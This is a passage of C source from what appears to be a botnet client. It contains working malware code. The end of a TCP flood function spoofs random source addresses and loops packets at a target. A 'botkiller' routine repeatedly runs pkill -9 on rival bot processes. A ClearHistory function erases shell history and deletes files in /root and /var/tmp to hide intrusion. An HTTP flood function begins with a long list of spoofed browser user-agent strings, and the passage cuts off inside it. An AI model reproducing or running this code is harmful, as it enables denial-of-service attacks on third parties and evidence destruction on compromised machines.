  3575. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  3576. }
  3577. pch = strtok(NULL, ",");
  3578. }
  3579. }
  3580.  
  3581. tcph->window = rand_cmwc();
  3582. tcph->check = 0;
  3583. tcph->urg_ptr = 0;
  3584. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  3585. tcph->check = tcpcsum(iph, tcph);
  3586.  
  3587. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  3588.  
  3589. int end = time(NULL) + timeEnd;
  3590. register unsigned int i = 0;
  3591. while(1)
  3592. {
  3593. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  3594.  
  3595. iph->saddr = htonl( GetRandomIP(netmask) );
  3596. iph->id = rand_cmwc();
  3597. tcph->seq = rand_cmwc();
  3598. tcph->source = rand_cmwc();
  3599. tcph->check = 0;
  3600. tcph->check = tcpcsum(iph, tcph);
  3601. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  3602.  
  3603. if(i == pollRegister)
  3604. {
  3605. if(time(NULL) > end) break;
  3606. i = 0;
  3607. continue;
  3608. }
  3609. i++;
  3610. }
  3611. }
  3612.  
  3613. void botkiller(){
  3614. int i;
  3615. while(1){
  3616. for(i = 0; i < 9; i++){
  3617. char command[80];
  3618. sprintf(command, "pkill -9 ");
  3619. strcat(command, binarystokill[i]);
  3620. system(command);
  3621. sprintf(command, "pkill -9 \"");
  3622. strcat(command, binarystokill[i]);
  3623. strcat(command, "\"");
  3624. system(command);
  3625. }
  3626. sleep(5);
  3627. }
  3628. }
  3629. void ClearHistory()
  3630. {
  3631. system("history -c;history -w");
  3632. system("cd /root;rm -rf .bash_history");
  3633. system("cd /var/tmp; rm -f *");
  3634. }
  3635.  
  3636. // HTTP Flood
  3637. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  3638. const char *useragents[] = {
  3639. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  3640. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  3641. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  3642. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  3643. "Opera/6.04 (Windows XP; U) [en]",
  3644. "Opera/9.99 (X11; U; sk)",
  3645. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  3646. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  3647. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  3648. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  3649. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  3650. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  3651. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  3652. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  3653. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  3654. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  3655. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  3656. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  3657. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  3658. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  3659. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  3660. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  3661. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  3662. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  3663. "wii libnup/1.0",
  3664. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  3665. "PSP (PlayStation Portable); 2.00",
  3666. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  3667. "Doris/1.15 [en] (Symbian)",
  3668. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  3669. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  3670. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  3671. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  3672. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  3673. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  3674. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  3675. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  3676. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  3677. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  3678. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  3679. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  3680. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  3681. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  3682. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  3683. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  3684. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  3685. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  3686. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  3687. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  3688. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  3689. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  3690. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  3691. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  3692. "Opera/6.04 (Windows XP; U) [en]",
  3693. "Opera/9.99 (X11; U; sk)",
  3694. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  3695. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  3696. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  3697. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  3698. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  3699. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  3700. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  3701. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  3702. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  3703. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 "
  3704. "Firefox/3.5.3",
  3705. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 "
  3706. "Firefox/3.5.3 (.NET CLR 3.5.30729)",
  3707. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) "
  3708. "Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  3709. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) "
  3710. "Gecko/20090718 Firefox/3.5.1",
  3711. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 "
  3712. "(KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  3713. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; "
  3714. "SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  3715. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; "
  3716. ".NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR "
  3717. "3.0.30729)",
  3718. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; "
  3719. "Trident/4.0)",
  3720. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; "
  3721. ".NET CLR 2.0.50727; InfoPath.2)",
  3722. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  3723. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  3724. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  3725. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) "
  3726. "Chrome/41.0.2228.0 Safari/537.36",
  3727. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  3728. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 "
  3729. "Version/12.16",
  3730. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like "
  3731. "Gecko",
  3732. "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) "
  3733. "like Gecko",
  3734. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 "
  3735. "(KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
  3736. "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
  3737. "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  3738. "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  3739. "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/",
  3740. "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  3741. "zspider/0.9-dev http://feedback.redkolibri.com/",
  3742. "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  3743. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  3744. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  3745. "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  3746. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  3747. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  3748. "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  3749. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
  3750. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  3751. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  3752. "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
  3753. "TheSuBot/0.2 (www.thesubot.de)",
  3754. "TheSuBot/0.1 (www.thesubot.de)",
  3755. "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  3756. "FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  3757. "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  3758. "FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  3759. "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  3760. "FAST-WebCrawler/3.x Multimedia",
  3761. "Mozilla/4.0 (compatible: FDSE robot)",
  3762. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  3763. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  3764. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  3765. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  3766. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  3767. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  3768. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  3769. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  3770. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  3771. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  3772. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  3773. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  3774. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  3775. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  3776. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  3777. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  3778. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  3779. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  3780. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  3781. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  3782. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  3783. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  3784. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  3785. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  3786. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  3787. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  3788. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  3789. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  3790. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  3791. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  3792. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  3793. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  3794. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  3795. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)",
  3796. "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)",
  3797. "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0",
  3798. "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)",
  3799. "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
  3800. "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  3801. "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  3802. "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  3803. "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  3804. "Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)",
  3805. "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  3806. "NetResearchServer/3.5(loopimprovements.com/robot.html)",
  3807. "NetResearchServer/2.8(loopimprovements.com/robot.html)",
  3808. "NetResearchServer/2.7(loopimprovements.com/robot.html)",
  3809. "NetResearchServer/2.5(loopimprovements.com/robot.html)",
  3810. "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  3811. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  3812. "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  3813. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  3814. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  3815. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
  3816. "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  3817. "Opera/9.20 (Windows NT 6.0; U; en)",
  3818. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  3819. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  3820. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  3821. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  3822. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  3823. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  3824. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  3825. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  3826. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  3827. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  3828. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  3829. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  3830. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
  3831. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  3832. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  3833. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  3834. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  3835. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  3836. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  3837. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  3838. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  3839. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
  3840. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  3841. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  3842. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  3843. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  3844. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  3845. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  3846. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  3847. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  3848. "wii libnup/1.0",
  3849. "PSP (PlayStation Portable); 2.00",
  3850. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  3851. "Doris/1.15 [en] (Symbian)",
  3852. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  3853. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  3854. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  3855. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  3856. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  3857. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  3858. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  3859. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  3860. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  3861. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  3862. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  3863. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  3864. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  3865. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  3866. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  3867. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  3868. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  3869. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  3870. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  3871. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  3872. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  3873. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  3874. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  3875. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  3876. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  3877. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  3878. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  3879. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  3880. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  3881. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  3882. "Opera/6.04 (Windows XP; U) [en]",
  3883. "Opera/9.99 (X11; U; sk)",
  3884. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  3885. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  3886. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  3887. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  3888. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  3889. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  3890. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  3891. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  3892. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  3893. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  3894. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  3895. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  3896. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
